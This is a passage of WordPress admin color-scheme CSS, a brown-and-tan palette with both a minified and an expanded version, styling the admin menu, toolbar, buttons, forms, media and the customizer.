a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#c7a589}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#c7a589}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#c7a589}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#9ea476}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#46403c}#collapse-button{color:hsl(27.6923076923,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#c7a589}#wpadminbar{color:#fff;background:#59524c}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#c7a589;background:#46403c}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#c7a589}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#c7a589}#wpadminbar .menupop .ab-sub-wrapper{background:#46403c}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#656463}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#cdcbc9}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(27.6923076923,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#c7a589}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c7a589}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#6c645c}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#9ea476}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#8e946a}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#6c645c;background-color:#6c645c}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#c7a589}#wpadminbar #wp-admin-bar-user-info .username{color:#cdcbc9}.wp-pointer .wp-pointer-content h3{background-color:#c7a589;border-color:#bf9878}.wp-pointer .wp-pointer-content h3:before{color:#c7a589}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#c7a589}.media-item .bar,.media-progress-bar div{background-color:#c7a589}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #c7a589}.attachment.details .check{background-color:#c7a589;box-shadow:0 0 0 1px #fff,0 0 0 2px #c7a589}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #c7a589}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#c7a589}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#c7a589}.theme-filter.current,.theme-section.current{border-bottom-color:#59524c}body.more-filters-opened .more-filters{color:#fff;background-color:#59524c}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#c7a589;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#c7a589;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #d7bfac,0 0 2px 1px #c7a589}div#wp-responsive-toggle a:before{color:hsl(27.6923076923,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#c7a589}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#46403c}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(27.6923076923,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#c7a589}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#c7a589}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#c7a589}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#c7a589}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #d7bfac,0 0 2px 1px #c7a589}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#c7a589;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#c7a589}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#c7a589;border-style:solid;box-shadow:0 0 0 1px #c7a589;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#c7a589}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #d7bfac,0 0 2px 1px #c7a589}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#c7a589;color:#0073aa}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%2359524c%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #59524c;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #c7a589;
  box-shadow: 0 0 0 1px #c7a589;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #c7a589;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #c7a589;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button-primary {
  background: #c7a589;
  border-color: #c7a589;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #ccad93;
  border-color: #c29d7f;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #c7a589;
}
.wp-core-ui .button-primary:active {
  background: #bf9878;
  border-color: #bf9878;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #c7a589;
  color: #fff;
  border-color: #ae7d55;
  box-shadow: inset 0 2px 5px -3px #37271a;
}
.wp-core-ui .button-group > .button.active {
  border-color: #c7a589;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #59524c;
}
.wp-core-ui .wp-ui-text-primary {
  color: #59524c;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #c7a589;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #c7a589;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #9ea476;
}
.wp-core-ui .wp-ui-text-notification {
  color: #9ea476;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(27.6923076923, 7%, 95%);
}

/* List tables */
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #59524c;
}

.view-switch a.current:before {
  color: #59524c;
}

.view-switch a:hover:before {
  color: #9ea476;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #59524c;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(27.6923076923, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #c7a589;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #46403c;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #46403c;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #cdcbc9;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #cdcbc9;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #c7a589;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #c7a589;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #c7a589;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #9ea476;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #46403c;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(27.6923076923, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #c7a589;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #59524c;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(27.6923076923, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #c7a589;
  background: #46403c;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #c7a589;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #c7a589;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #46403c;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #656463;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #cdcbc9;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(27.6923076923, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #c7a589;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #c7a589;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(27.6923076923, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(27.6923076923, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #6c645c;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #9ea476;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #8e946a;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #6c645c;
  background-color: #6c645c;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #c7a589;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #cdcbc9;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #c7a589;
  border-color: #bf9878;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #c7a589;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #c7a589;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #c7a589;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #c7a589;
}

.attachment.details .check {
  background-color: #c7a589;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #c7a589;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #c7a589;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #c7a589;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #c7a589;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #59524c;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #59524c;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #c7a589;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #c7a589;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #d7bfac, 0 0 2px 1px #c7a589;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(27.6923076923, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #c7a589;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #46403c;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(27.6923076923, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #c7a589;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #c7a589;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #c7a589;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #c7a589;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
